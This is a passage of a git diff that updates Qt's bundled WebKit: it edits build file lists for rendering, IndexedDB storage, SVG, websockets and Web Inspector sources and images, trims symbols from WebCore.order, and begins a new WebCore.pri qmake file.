             'platform/Widget.h',
             'plugins/chromium/PluginDataChromium.cpp',
+            'plugins/chromium/PluginDataChromium.h',
             'plugins/gtk/PluginDataGtk.cpp',
             'plugins/gtk/PluginPackageGtk.cpp',
             'plugins/gtk/PluginViewGtk.cpp',
@@ -2820,6 +2956,7 @@
             'plugins/PluginStream.h',
             'plugins/PluginView.cpp',
             'plugins/PluginView.h',
+            'plugins/PluginViewNone.cpp',
             'plugins/npapi.cpp',
             'plugins/npfunctions.h',
             'rendering/style/BindingURI.cpp',
@@ -2882,6 +3019,8 @@
             'rendering/style/StyleVisualData.h',
             'rendering/AutoTableLayout.cpp',
             'rendering/AutoTableLayout.h',
+            'rendering/BidiRun.cpp',
+            'rendering/BidiRun.h',
             'rendering/CounterNode.cpp',
             'rendering/CounterNode.h',
             'rendering/EllipsisBox.cpp',
@@ -2896,7 +3035,7 @@
             'rendering/InlineBox.h',
             'rendering/InlineFlowBox.cpp',
             'rendering/InlineFlowBox.h',
-            'rendering/InlineRunBox.h',
+            'rendering/InlineIterator.h',
             'rendering/InlineTextBox.cpp',
             'rendering/InlineTextBox.h',
             'rendering/LayoutState.cpp',
@@ -2924,6 +3063,8 @@
             'rendering/RenderCounter.h',
             'rendering/RenderDataGrid.cpp',
             'rendering/RenderDataGrid.h',
+            'rendering/RenderEmbeddedObject.cpp',
+            'rendering/RenderEmbeddedObject.h',
             'rendering/RenderFieldset.cpp',
             'rendering/RenderFieldset.h',
             'rendering/RenderFileUploadControl.cpp',
@@ -2976,10 +3117,20 @@
             'rendering/RenderPartObject.h',
             'rendering/RenderPath.cpp',
             'rendering/RenderPath.h',
+            'rendering/RenderProgress.cpp',
+            'rendering/RenderProgress.h',
             'rendering/RenderReplaced.cpp',
             'rendering/RenderReplaced.h',
             'rendering/RenderReplica.cpp',
             'rendering/RenderReplica.h',
+            'rendering/RenderRuby.cpp',
+            'rendering/RenderRuby.h',
+            'rendering/RenderRubyBase.cpp',
+            'rendering/RenderRubyBase.h',
+            'rendering/RenderRubyRun.cpp',
+            'rendering/RenderRubyRun.h',
+            'rendering/RenderRubyText.cpp',
+            'rendering/RenderRubyText.h',
             'rendering/RenderSVGBlock.cpp',
             'rendering/RenderSVGBlock.h',
             'rendering/RenderSVGContainer.cpp',
@@ -2996,8 +3147,15 @@
             'rendering/RenderSVGInlineText.h',
             'rendering/RenderSVGModelObject.cpp',
             'rendering/RenderSVGModelObject.h',
+            'rendering/RenderSVGResource.h',
+            'rendering/RenderSVGResourceClipper.cpp',
+            'rendering/RenderSVGResourceClipper.h',
+            'rendering/RenderSVGResourceMasker.cpp',
+            'rendering/RenderSVGResourceMasker.h',
             'rendering/RenderSVGRoot.cpp',
             'rendering/RenderSVGRoot.h',
+            'rendering/RenderSVGShadowTreeRootContainer.cpp',
+            'rendering/RenderSVGShadowTreeRootContainer.h',
             'rendering/RenderSVGTSpan.cpp',
             'rendering/RenderSVGTSpan.h',
             'rendering/RenderSVGText.cpp',
@@ -3073,12 +3231,17 @@
             'rendering/SVGInlineFlowBox.h',
             'rendering/SVGInlineTextBox.cpp',
             'rendering/SVGInlineTextBox.h',
+            'rendering/SVGMarkerData.h',
+            'rendering/SVGMarkerLayoutInfo.cpp',
+            'rendering/SVGMarkerLayoutInfo.h',
             'rendering/SVGRenderSupport.cpp',
             'rendering/SVGRenderSupport.h',
             'rendering/SVGRenderTreeAsText.cpp',
             'rendering/SVGRenderTreeAsText.h',
             'rendering/SVGRootInlineBox.cpp',
             'rendering/SVGRootInlineBox.h',
+            'rendering/SVGShadowTreeElements.cpp',
+            'rendering/SVGShadowTreeElements.h',
             'rendering/TableLayout.h',
             'rendering/TextControlInnerElements.cpp',
             'rendering/TextControlInnerElements.h',
@@ -3088,10 +3251,17 @@
             'rendering/break_lines.h',
             'storage/ChangeVersionWrapper.cpp',
             'storage/ChangeVersionWrapper.h',
+            'storage/chromium/DatabaseObserver.h',
+            'storage/chromium/IndexedDatabase.cpp',
+            'storage/chromium/DatabaseTrackerChromium.cpp',
+            'storage/chromium/QuotaTracker.cpp',
+            'storage/chromium/QuotaTracker.h',
+            'storage/chromium/SQLTransactionClientChromium.cpp',
             'storage/Database.cpp',
             'storage/Database.h',
             'storage/DatabaseAuthorizer.cpp',
             'storage/DatabaseAuthorizer.h',
+            'storage/DatabaseCallback.h',
             'storage/DatabaseDetails.h',
             'storage/DatabaseTask.cpp',
             'storage/DatabaseTask.h',
@@ -3100,6 +3270,17 @@
             'storage/DatabaseTracker.cpp',
             'storage/DatabaseTracker.h',
             'storage/DatabaseTrackerClient.h',
+            'storage/IDBDatabaseError.h',
+            'storage/IDBDatabaseException.h',
+            'storage/IDBDatabaseRequest.h',
+            'storage/IDBRequest.cpp',
+            'storage/IDBRequest.h',
+            'storage/IndexedDatabase.cpp',
+            'storage/IndexedDatabase.h',
+            'storage/IndexedDatabaseImpl.cpp',
+            'storage/IndexedDatabaseImpl.h',
+            'storage/IndexedDatabaseRequest.cpp',
+            'storage/IndexedDatabaseRequest.h',
             'storage/LocalStorageTask.cpp',
             'storage/LocalStorageTask.h',
             'storage/LocalStorageThread.cpp',
@@ -3173,8 +3354,10 @@
             'svg/graphics/filters/SVGFETile.h',
             'svg/graphics/filters/SVGFETurbulence.cpp',
             'svg/graphics/filters/SVGFETurbulence.h',
-            'svg/graphics/filters/SVGFilterEffect.cpp',
-            'svg/graphics/filters/SVGFilterEffect.h',
+            'svg/graphics/filters/SVGFilter.cpp',
+            'svg/graphics/filters/SVGFilter.h',
+            'svg/graphics/filters/SVGFilterBuilder.cpp',
+            'svg/graphics/filters/SVGFilterBuilder.h',
             'svg/graphics/filters/SVGLightSource.cpp',
             'svg/graphics/filters/SVGLightSource.h',
             'svg/graphics/filters/SVGPointLightSource.h',
@@ -3195,24 +3378,14 @@
             'svg/graphics/SVGPaintServerSolid.h',
             'svg/graphics/SVGResource.cpp',
             'svg/graphics/SVGResource.h',
-            'svg/graphics/SVGResourceClipper.cpp',
-            'svg/graphics/SVGResourceClipper.h',
             'svg/graphics/SVGResourceFilter.cpp',
             'svg/graphics/SVGResourceFilter.h',
             'svg/graphics/SVGResourceListener.h',
             'svg/graphics/SVGResourceMarker.cpp',
             'svg/graphics/SVGResourceMarker.h',
-            'svg/graphics/SVGResourceMasker.cpp',
-            'svg/graphics/SVGResourceMasker.h',
             'svg/ColorDistance.cpp',
             'svg/ColorDistance.h',
             'svg/ElementTimeControl.h',
-            'svg/Filter.cpp',
-            'svg/Filter.h',
-            'svg/FilterBuilder.h',
-            'svg/FilterBuilder.cpp',
-            'svg/FilterEffect.cpp',
-            'svg/FilterEffect.h',
             'svg/GradientAttributes.h',
             'svg/LinearGradientAttributes.h',
             'svg/PatternAttributes.h',
@@ -3237,6 +3410,8 @@
             'svg/SVGAnimatedPoints.cpp',
             'svg/SVGAnimatedPoints.h',
             'svg/SVGAnimatedProperty.h',
+            'svg/SVGAnimatedPropertySynchronizer.h',
+            'svg/SVGAnimatedPropertyTraits.h',
             'svg/SVGAnimatedTemplate.h',
             'svg/SVGAnimationElement.cpp',
             'svg/SVGAnimationElement.h',
@@ -3264,6 +3439,7 @@
             'svg/SVGElementInstance.h',
             'svg/SVGElementInstanceList.cpp',
             'svg/SVGElementInstanceList.h',
+            'svg/SVGElementRareData.h',
             'svg/SVGEllipseElement.cpp',
             'svg/SVGEllipseElement.h',
             'svg/SVGException.h',
@@ -3486,9 +3662,9 @@
             'svg/SVGZoomAndPan.h',
             'svg/SVGZoomEvent.cpp',
             'svg/SVGZoomEvent.h',
-            'svg/SynchronizablePropertyController.cpp',
-            'svg/SynchronizablePropertyController.h',
-            'svg/SynchronizableTypeWrapper.h',
+            'websockets/ThreadableWebSocketChannel.cpp',
+            'websockets/ThreadableWebSocketChannel.h',
+            'websockets/ThreadableWebSocketChannelClientWrapper.h',
             'websockets/WebSocket.cpp',
             'websockets/WebSocket.h',
             'websockets/WebSocketChannel.cpp',
@@ -3496,6 +3672,10 @@
             'websockets/WebSocketChannelClient.h',
             'websockets/WebSocketHandshake.cpp',
             'websockets/WebSocketHandshake.h',
+            'websockets/WebSocketHandshakeRequest.cpp',
+            'websockets/WebSocketHandshakeRequest.h',
+            'websockets/WorkerThreadableWebSocketChannel.cpp',
+            'websockets/WorkerThreadableWebSocketChannel.h',
             'workers/AbstractWorker.cpp',
             'workers/AbstractWorker.h',
             'workers/DedicatedWorkerContext.cpp',
@@ -3537,6 +3717,8 @@
             'xml/XMLHttpRequest.h',
             'xml/XMLHttpRequestException.h',
             'xml/XMLHttpRequestProgressEvent.h',
+            'xml/XMLHttpRequestProgressEventThrottle.cpp',
+            'xml/XMLHttpRequestProgressEventThrottle.h',
             'xml/XMLHttpRequestUpload.cpp',
             'xml/XMLHttpRequestUpload.h',
             'xml/XMLSerializer.cpp',
@@ -3588,14 +3770,22 @@
 
             'inspector/front-end/inspector.html',
             'inspector/front-end/AbstractTimelinePanel.js',
+            'inspector/front-end/AuditCategories.js',
+            'inspector/front-end/AuditLauncherView.js',
+            'inspector/front-end/AuditResultView.js',
+            'inspector/front-end/AuditRules.js',
+            'inspector/front-end/AuditsPanel.js',
             'inspector/front-end/BottomUpProfileDataGridTree.js',
             'inspector/front-end/Breakpoint.js',
             'inspector/front-end/BreakpointsSidebarPane.js',
             'inspector/front-end/Callback.js',
             'inspector/front-end/CallStackSidebarPane.js',
             'inspector/front-end/ChangesView.js',
+            'inspector/front-end/Checkbox.js',
             'inspector/front-end/Color.js',
+            'inspector/front-end/ConsolePanel.js',
             'inspector/front-end/ConsoleView.js',
+            'inspector/front-end/ContextMenu.js',
             'inspector/front-end/CookieItemsView.js',
             'inspector/front-end/Database.js',
             'inspector/front-end/DatabaseQueryView.js',
@@ -3603,15 +3793,17 @@
             'inspector/front-end/DataGrid.js',
             'inspector/front-end/DOMAgent.js',
             'inspector/front-end/DOMStorage.js',
-            'inspector/front-end/DOMStorageDataGrid.js',
             'inspector/front-end/DOMStorageItemsView.js',
+            'inspector/front-end/DOMSyntaxHighlighter.js',
             'inspector/front-end/Drawer.js',
             'inspector/front-end/ElementsPanel.js',
             'inspector/front-end/ElementsTreeOutline.js',
             'inspector/front-end/EventListenersSidebarPane.js',
             'inspector/front-end/FontView.js',
             'inspector/front-end/ImageView.js',
-            'inspector/front-end/InspectorControllerStub.js',
+            'inspector/front-end/InspectorBackendStub.js',
+            'inspector/front-end/InspectorFrontendHostStub.js',
+            'inspector/front-end/InjectedFakeWorker.js',
             'inspector/front-end/InjectedScript.js',
             'inspector/front-end/InjectedScriptAccess.js',
             'inspector/front-end/inspector.js',
@@ -3623,7 +3815,7 @@
             'inspector/front-end/Panel.js',
             'inspector/front-end/PanelEnablerView.js',
             'inspector/front-end/Placard.js',
-            'inspector/front-end/Popup.js',
+            'inspector/front-end/Popover.js',
             'inspector/front-end/ProfileDataGridTree.js',
             'inspector/front-end/ProfilesPanel.js',
             'inspector/front-end/ProfileView.js',
@@ -3637,33 +3829,56 @@
             'inspector/front-end/Script.js',
             'inspector/front-end/ScriptsPanel.js',
             'inspector/front-end/ScriptView.js',
+            'inspector/front-end/Section.js',
+            'inspector/front-end/Settings.js',
             'inspector/front-end/SidebarPane.js',
             'inspector/front-end/SidebarTreeElement.js',
+            'inspector/front-end/SourceCSSTokenizer.js',
             'inspector/front-end/SourceFrame.js',
+            'inspector/front-end/SourceHTMLTokenizer.js',
+            'inspector/front-end/SourceJavaScriptTokenizer.js',
+            'inspector/front-end/SourceTokenizer.js',
             'inspector/front-end/SourceView.js',
             'inspector/front-end/StatusBarButton.js',
             'inspector/front-end/StoragePanel.js',
             'inspector/front-end/StylesSidebarPane.js',
             'inspector/front-end/SummaryBar.js',
             'inspector/front-end/TestController.js',
+            'inspector/front-end/TextEditorHighlighter.js',
+            'inspector/front-end/TextEditorModel.js',
             'inspector/front-end/TextPrompt.js',
+            'inspector/front-end/TextViewer.js',
             'inspector/front-end/TimelineAgent.js',
+            'inspector/front-end/TimelineOverviewPane.js',
+            'inspector/front-end/TimelineGrid.js',
             'inspector/front-end/TimelinePanel.js',
             'inspector/front-end/TopDownProfileDataGridTree.js',
             'inspector/front-end/treeoutline.js',
             'inspector/front-end/utilities.js',
             'inspector/front-end/View.js',
             'inspector/front-end/WatchExpressionsSidebarPane.js',
+            'inspector/front-end/WelcomeView.js',
+            'inspector/front-end/WorkersSidebarPane.js',
+            'inspector/front-end/audits.css',
             'inspector/front-end/inspector.css',
             'inspector/front-end/inspectorSyntaxHighlight.css',
+            'inspector/front-end/popover.css',
+            'inspector/front-end/textViewer.css',
         ],
         'webinspector_image_files': [
-
+            'inspector/front-end/Images/auditsIcon.png',
             'inspector/front-end/Images/back.png',
+            'inspector/front-end/Images/breakpointBorder.png',
+            'inspector/front-end/Images/breakpointConditionalBorder.png',
+            'inspector/front-end/Images/breakpointConditionalCounterBorder.png',
+            'inspector/front-end/Images/breakpointCounterBorder.png',
+            'inspector/front-end/Images/breakpointsActivateButtonGlyph.png',
+            'inspector/front-end/Images/breakpointsDeactivateButtonGlyph.png',
             'inspector/front-end/Images/checker.png',
             'inspector/front-end/Images/clearConsoleButtonGlyph.png',
             'inspector/front-end/Images/closeButtons.png',
             'inspector/front-end/Images/consoleButtonGlyph.png',
+            'inspector/front-end/Images/consoleIcon.png',
             'inspector/front-end/Images/cookie.png',
             'inspector/front-end/Images/database.png',
             'inspector/front-end/Images/databaseTable.png',
@@ -3687,9 +3902,11 @@
             'inspector/front-end/Images/enableSolidButtonGlyph.png',
             'inspector/front-end/Images/errorIcon.png',
             'inspector/front-end/Images/errorMediumIcon.png',
+            'inspector/front-end/Images/errorRedDot.png',
             'inspector/front-end/Images/excludeButtonGlyph.png',
             'inspector/front-end/Images/focusButtonGlyph.png',
             'inspector/front-end/Images/forward.png',
+            'inspector/front-end/Images/gearButtonGlyph.png',
             'inspector/front-end/Images/glossyHeader.png',
             'inspector/front-end/Images/glossyHeaderPressed.png',
             'inspector/front-end/Images/glossyHeaderSelected.png',
@@ -3707,11 +3924,14 @@
             'inspector/front-end/Images/paneSettingsButtons.png',
             'inspector/front-end/Images/pauseOnExceptionButtonGlyph.png',
             'inspector/front-end/Images/percentButtonGlyph.png',
+            'inspector/front-end/Images/popoverArrows.png',
+            'inspector/front-end/Images/popoverBackground.png',
             'inspector/front-end/Images/profileGroupIcon.png',
             'inspector/front-end/Images/profileIcon.png',
             'inspector/front-end/Images/profilesIcon.png',
             'inspector/front-end/Images/profileSmallIcon.png',
             'inspector/front-end/Images/profilesSilhouette.png',
+            'inspector/front-end/Images/programCounterBorder.png',
             'inspector/front-end/Images/radioDot.png',
             'inspector/front-end/Images/recordButtonGlyph.png',
             'inspector/front-end/Images/recordToggledButtonGlyph.png',
@@ -3739,6 +3959,7 @@
             'inspector/front-end/Images/segmentSelected.png',
             'inspector/front-end/Images/segmentSelectedEnd.png',
             'inspector/front-end/Images/sessionStorage.png',
+            'inspector/front-end/Images/spinner.gif',
             'inspector/front-end/Images/splitviewDimple.png',
             'inspector/front-end/Images/splitviewDividerBackground.png',
             'inspector/front-end/Images/statusbarBackground.png',
@@ -3749,6 +3970,13 @@
             'inspector/front-end/Images/statusbarResizerHorizontal.png',
             'inspector/front-end/Images/statusbarResizerVertical.png',
             'inspector/front-end/Images/storageIcon.png',
+            'inspector/front-end/Images/successGreenDot.png',
+            'inspector/front-end/Images/thumbActiveHoriz.png',
+            'inspector/front-end/Images/thumbActiveVert.png',
+            'inspector/front-end/Images/thumbHoriz.png',
+            'inspector/front-end/Images/thumbVert.png',
+            'inspector/front-end/Images/thumbHoverHoriz.png',
+            'inspector/front-end/Images/thumbHoverVert.png',
             'inspector/front-end/Images/timelineHollowPillBlue.png',
             'inspector/front-end/Images/timelineHollowPillGray.png',
             'inspector/front-end/Images/timelineHollowPillGreen.png',
@@ -3773,11 +4001,9 @@
             'inspector/front-end/Images/timelinePillPurple.png',
             'inspector/front-end/Images/timelinePillRed.png',
             'inspector/front-end/Images/timelinePillYellow.png',
-            'inspector/front-end/Images/tipBalloon.png',
-            'inspector/front-end/Images/tipBalloonBottom.png',
-            'inspector/front-end/Images/tipIcon.png',
-            'inspector/front-end/Images/tipIconPressed.png',
             'inspector/front-end/Images/toolbarItemSelected.png',
+            'inspector/front-end/Images/trackHoriz.png',
+            'inspector/front-end/Images/trackVert.png',
             'inspector/front-end/Images/treeDownTriangleBlack.png',
             'inspector/front-end/Images/treeDownTriangleWhite.png',
             'inspector/front-end/Images/treeRightTriangleBlack.png',
@@ -3789,6 +4015,7 @@
             'inspector/front-end/Images/userInputPreviousIcon.png',
             'inspector/front-end/Images/userInputResultIcon.png',
             'inspector/front-end/Images/warningIcon.png',
+            'inspector/front-end/Images/warningOrangeDot.png',
             'inspector/front-end/Images/warningMediumIcon.png',
             'inspector/front-end/Images/warningsErrors.png',
             'inspector/front-end/Images/whiteConnectorPoint.png'
diff --git a/src/3rdparty/webkit/WebCore/WebCore.order b/src/3rdparty/webkit/WebCore/WebCore.order
index c1040e2..48f321b 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.order
+++ b/src/3rdparty/webkit/WebCore/WebCore.order
@@ -215,11 +215,6 @@ __ZN3WTF9HashTableIPN7WebCore4PageES3_NS_17IdentityExtractorIS3_EENS_7PtrHashIS3
 __ZN3WTF9HashTableIPN7WebCore4PageES3_NS_17IdentityExtractorIS3_EENS_7PtrHashIS3_EENS_10HashTraitsIS3_EES9_E6rehashEi
 __ZN3WTF9HashTableIPN7WebCore4PageES3_NS_17IdentityExtractorIS3_EENS_7PtrHashIS3_EENS_10HashTraitsIS3_EES9_E13allocateTableEi
 __ZN3WTF9HashTableIPN7WebCore4PageES3_NS_17IdentityExtractorIS3_EENS_7PtrHashIS3_EENS_10HashTraitsIS3_EES9_E15deallocateTableEP
-__ZN7WebCore21JavaScriptDebugServer6sharedEv
-__ZN7WebCore21JavaScriptDebugServerC1Ev
-__ZN7WebCore21JavaScriptDebugServerC2Ev
-__ZN7WebCore21JavaScriptDebugServer11pageCreatedEPNS_4PageE
-__ZN7WebCore21JavaScriptDebugServer28hasListenersInterestedInPageEPNS_4PageE
 __ZNK3WTF9HashTableIPN7WebCore4PageESt4pairIS3_PNS_7HashSetIPNS1_23JavaScriptDebugListenerENS_7PtrHashIS7_EENS_10HashTraitsIS7_
 __ZN7WebCore8Settings27setLocalStorageDatabasePathERKNS_6StringE
 __ZN7WebCore5FrameC1EPNS_4PageEPNS_21HTMLFrameOwnerElementEPNS_17FrameLoaderClientE
@@ -19747,8 +19742,6 @@ __ZN7WebCore15JSMimeTypeArray11indexGetterEPN3JSC9ExecStateERKNS1_10IdentifierER
 __ZN7WebCore13MimeTypeArray4itemEj
 __ZN7WebCore14jsMimeTypeTypeEPN3JSC9ExecStateERKNS0_10IdentifierERKNS0_12PropertySlotE
 __ZNK7WebCore8MimeType4typeEv
-__ZNK7WebCore16JSDOMWindowShell21getPropertyAttributesEPN3JSC9ExecStateERKNS1_10IdentifierERj
-__ZNK7WebCore11JSDOMWindow21getPropertyAttributesEPN3JSC9ExecStateERKNS1_10IdentifierERj
 __ZNK7WebCore9RenderBox20firstLineBoxBaselineEv
 __ZN7WebCore10ClientRectC1Ev
 __ZN7WebCore10ClientRectC2Ev
@@ -19815,7 +19808,6 @@ __ZN3WTF6VectorIN3JSC16ProtectedJSValueELm0EE15reserveCapacityEm
 __ZN3WTF6VectorIN3JSC16ProtectedJSValueELm0EE6shrinkEm
 __ZN7WebCore13HTMLTokenizer9parseTextERNS_15SegmentedStringENS0_5StateE
 __ZN7WebCore19InspectorController14enableProfilerEb
-__ZN7WebCore21JavaScriptDebugServer27recompileAllJSFunctionsSoonEv
 __ZN7WebCore33jsConsolePrototypeFunctionProfileEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore7Console7profileERKN3JSC7UStringEPNS_15ScriptCallStackE
 __ZN7WebCore36jsConsolePrototypeFunctionProfileEndEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
@@ -19851,8 +19843,6 @@ __ZN7WebCoreL6getURLEPK15OpaqueJSContextP13OpaqueJSValueP14OpaqueJSStringPPKS3_
 __ZN7WebCoreL13getLineNumberEPK15OpaqueJSContextP13OpaqueJSValueP14OpaqueJSStringPPKS3_
 __ZN7WebCoreL11getChildrenEPK15OpaqueJSContextP13OpaqueJSValueP14OpaqueJSStringPPKS3_
 __ZNK3WTF7HashMapIxNS_6RefPtrIN7WebCore17InspectorResourceEEENS_7IntHashIyEENS_10HashTraitsIxEENS7_IS4_EEE3getERKx
-__ZN7WebCore5TimerINS_21JavaScriptDebugServerEE5firedEv
-__ZN7WebCore21JavaScriptDebugServer23recompileAllJSFunctionsEPNS_5TimerIS0_EE
 __ZNK3JSC21CollectorHeapIteratorILNS_8HeapTypeE0EEdeEv
 __ZN3JSC21CollectorHeapIteratorILNS_8HeapTypeE0EEppEv
 __ZN3WTF6VectorIN3JSC12ProtectedPtrINS1_10JSFunctionEEELm0EE14expandCapacityEm
@@ -23799,7 +23789,6 @@ __ZN7WebCore18ScriptFunctionCall14appendArgumentEb
 __ZN7WebCore18ScriptFunctionCall4callEv
 __ZN7WebCore18ScriptFunctionCall4callERbb
 __ZN7WebCore44jsInspectorControllerPrototypeFunctionAttachEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
-__ZN7WebCore19InspectorController12attachWindowEv
 __ZN7WebCore19InspectorController21populateScriptObjectsEv
 __ZN7WebCoreL18callSimpleFunctionEPN3JSC9ExecStateERKNS_12ScriptObjectEPKc
 __ZN7WebCore19InspectorController9showPanelENS0_13SpecialPanelsE
@@ -23860,7 +23849,6 @@ __ZN7WebCoreL19drawHighlightForBoxERNS_15GraphicsContextERKNS_9FloatQuadES4_S4_S
 __ZN7WebCoreL16drawOutlinedQuadERNS_15GraphicsContextERKNS_9FloatQuadERKNS_5ColorE
 __ZN7WebCoreL10quadToPathERKNS_9FloatQuadE
 __ZN7WebCore44jsInspectorControllerPrototypeFunctionDetachEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
-__ZN7WebCore19InspectorController12detachWindowEv
 __ZN7WebCore56jsInspectorControllerPrototypeFunctionMoveByUnrestrictedEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgL
 __ZNK7WebCore19InspectorController12moveWindowByEff
 __ZN7WebCoreL24drawOutlinedQuadWithClipERNS_15GraphicsContextERKNS_9FloatQuadES4_RKNS_5ColorE
@@ -23876,19 +23864,15 @@ __ZN7WebCore13TextTokenizerC2EPNS_22HTMLViewSourceDocumentE
 __ZN7WebCore22HTMLViewSourceDocument17addViewSourceTextERKNS_6StringE
 __ZN7WebCore52jsInspectorControllerPrototypeFunctionEnableDebuggerEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore19InspectorController14enableDebuggerEv
-__ZN7WebCore21JavaScriptDebugServer11addListenerEPNS_23JavaScriptDebugListenerEPNS_4PageE
 __ZN3WTF7HashMapIPN7WebCore4PageEPNS_7HashSetIPNS1_23JavaScriptDebugListenerENS_7PtrHashIS6_EENS_10HashTraitsIS6_EEEENS7_IS3_EE
 __ZN3WTF7HashSetIPN7WebCore23JavaScriptDebugListenerENS_7PtrHashIS3_EENS_10HashTraitsIS3_EEE3addERKS3_
 __ZN3WTF9HashTableIPN7WebCore23JavaScriptDebugListenerES3_NS_17IdentityExtractorIS3_EENS_7PtrHashIS3_EENS_10HashTraitsIS3_EES9_
-__ZN7WebCore21JavaScriptDebugServer14didAddListenerEPNS_4PageE
 __ZN7WebCore4Page11setDebuggerEPN3JSC8DebuggerE
-__ZN7WebCore21JavaScriptDebugServer16clearBreakpointsEv
 __ZN3WTF20deleteAllPairSecondsIPNS_7HashSetIjNS_7IntHashIjEENS_10HashTraitsIjEEEEKNS_7HashMapIlS7_NS2_ImEENS4_IlEENS4_IS7_EEEEE
 __ZNK7WebCore25JSCanvasGradientPrototype9classInfoEv
 __ZNK7WebCore30JSInspectorControllerPrototype9classInfoEv
 __ZN3WTF7HashMapIPN3JSC14SourceProviderEPNS1_9ExecStateENS_7PtrHashIS3_EENS_10HashTraitsIS3_EENS8_IS5_EEE3addERKS3_RKS5_
 __ZN3WTF9HashTableIPN3JSC14SourceProviderESt4pairIS3_PNS1_9ExecStateEENS_18PairFirstExtractorIS7_EENS_7PtrHashIS3_EENS_14PairHa
-__ZN7WebCore21JavaScriptDebugServer12sourceParsedEPN3JSC9ExecStateERKNS1_10SourceCodeEiRKNS1_7UStringE
 __ZN7WebCoreL6toPageEPN3JSC14JSGlobalObjectE
 __ZNK3WTF7HashMapIPN7WebCore4PageEPNS_7HashSetIPNS1_23JavaScriptDebugListenerENS_7PtrHashIS6_EENS_10HashTraitsIS6_EEEENS7_IS3_E
 __ZN7WebCoreL22dispatchDidParseSourceERKN3WTF7HashSetIPNS_23JavaScriptDebugListenerENS0_7PtrHashIS3_EENS0_10HashTraitsIS3_EEEEP
@@ -23902,32 +23886,20 @@ __ZN7WebCore21JSInspectorController16addSourceToFrameEPN3JSC9ExecStateERKNS1_7Ar
 __ZN7WebCore32jsConsolePrototypeFunctionAssertEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore7Console15assertConditionEbPNS_15ScriptCallStackE
 __ZN3WTF6VectorIPN7WebCore23JavaScriptDebugListenerELm0EE6shrinkEm
-__ZN7WebCore21JavaScriptDebugServer9callEventERKN3JSC17DebuggerCallFrameEli
 __ZN7WebCore19JavaScriptCallFrameC1ERKN3JSC17DebuggerCallFrameEN3WTF10PassRefPtrIS0_EEli
 __ZN7WebCore19JavaScriptCallFrameC2ERKN3JSC17DebuggerCallFrameEN3WTF10PassRefPtrIS0_EEli
-__ZN7WebCore21JavaScriptDebugServer13pauseIfNeededEPNS_4PageE
-__ZNK7WebCore21JavaScriptDebugServer13hasBreakpointElj
 __ZNK3WTF7HashMapIlPNS_7HashSetIjNS_7IntHashIjEENS_10HashTraitsIjEEEENS2_ImEENS4_IlEENS4_IS7_EEE3getERKl
-__ZN7WebCore21JavaScriptDebugServer11atStatementERKN3JSC17DebuggerCallFrameEli
-__ZN7WebCore21JavaScriptDebugServer11returnEventERKN3JSC17DebuggerCallFrameEli
 __ZN7WebCore19JavaScriptCallFrame6callerEv
 __ZN3WTF10RefCountedIN7WebCore19JavaScriptCallFrameEE5derefEv
-__ZN7WebCore21JavaScriptDebugServer18willExecuteProgramERKN3JSC17DebuggerCallFrameEli
-__ZN7WebCore21JavaScriptDebugServer17didExecuteProgramERKN3JSC17DebuggerCallFrameEli
 __ZN7WebCore46jsInspectorControllerPrototypeFunctionProfilesEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore21JSInspectorController8profilesEPN3JSC9ExecStateERKNS1_7ArgListE
 __ZN7WebCore52jsInspectorControllerPrototypeFunctionEnableProfilerEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZNK7WebCore32JSHTMLOptionsCollectionPrototype9classInfoEv
-__ZN7WebCore21JavaScriptDebugServer15continueProgramEv
-__ZN7WebCore21JavaScriptDebugServer9exceptionERKN3JSC17DebuggerCallFrameEli
 __ZN7WebCore52jsInspectorControllerPrototypeFunctionStartProfilingEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore51jsInspectorControllerPrototypeFunctionStopProfilingEPN3JSC9ExecStateEPNS0_8JSObjectENS0_7JSValueERKNS0_7ArgListE
 __ZN7WebCore19InspectorController26stopUserInitiatedProfilingEv
 __ZN7WebCore19InspectorController15disableDebuggerEv
-__ZN7WebCore21JavaScriptDebugServer14removeListenerEPNS_23JavaScriptDebugListenerEPNS_4PageE
 __ZN3WTF9HashTableIPN7WebCore4PageESt4pairIS3_PNS_7HashSetIPNS1_23JavaScriptDebugListenerENS_7PtrHashIS7_EENS_10HashTraitsIS7_E
-__ZN7WebCore21JavaScriptDebugServer17didRemoveListenerEPNS_4PageE
-__ZN7WebCore21JavaScriptDebugServer21didRemoveLastListenerEv
 __ZN7WebCore5Frame17setIsDisconnectedEb
 __ZN7WebCore19InspectorController11closeWindowEv
 __ZN7WebCoreL19getUniqueIdCallbackEPK15OpaqueJSContextP13OpaqueJSValueP14OpaqueJSStringPPKS3_
diff --git a/src/3rdparty/webkit/WebCore/WebCore.pri b/src/3rdparty/webkit/WebCore/WebCore.pri
new file mode 100644
index 0000000..039f26c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/WebCore.pri
@@ -0,0 +1,722 @@
+CONFIG(standalone_package) {
+    isEmpty(WC_GENERATED_SOURCES_DIR):WC_GENERATED_SOURCES_DIR = $$PWD/generated
+} else {
+    isEmpty(WC_GENERATED_SOURCES_DIR):WC_GENERATED_SOURCES_DIR = generated
+}
+
+## Define default features macros for optional components
+## (look for defs in config.h and included files!)
+# Try to locate sqlite3 source
+CONFIG(QTDIR_build) {
+    SQLITE3SRCDIR = $$QT_SOURCE_TREE/src/3rdparty/sqlite/
+} else {
+    SQLITE3SRCDIR = $$(SQLITE3SRCDIR)
+    isEmpty(SQLITE3SRCDIR) {
+        SQLITE3SRCDIR = $$[QT_INSTALL_PREFIX]/src/3rdparty/sqlite/
+    }
+}
+
+contains(DEFINES, ENABLE_SINGLE_THREADED=1) {
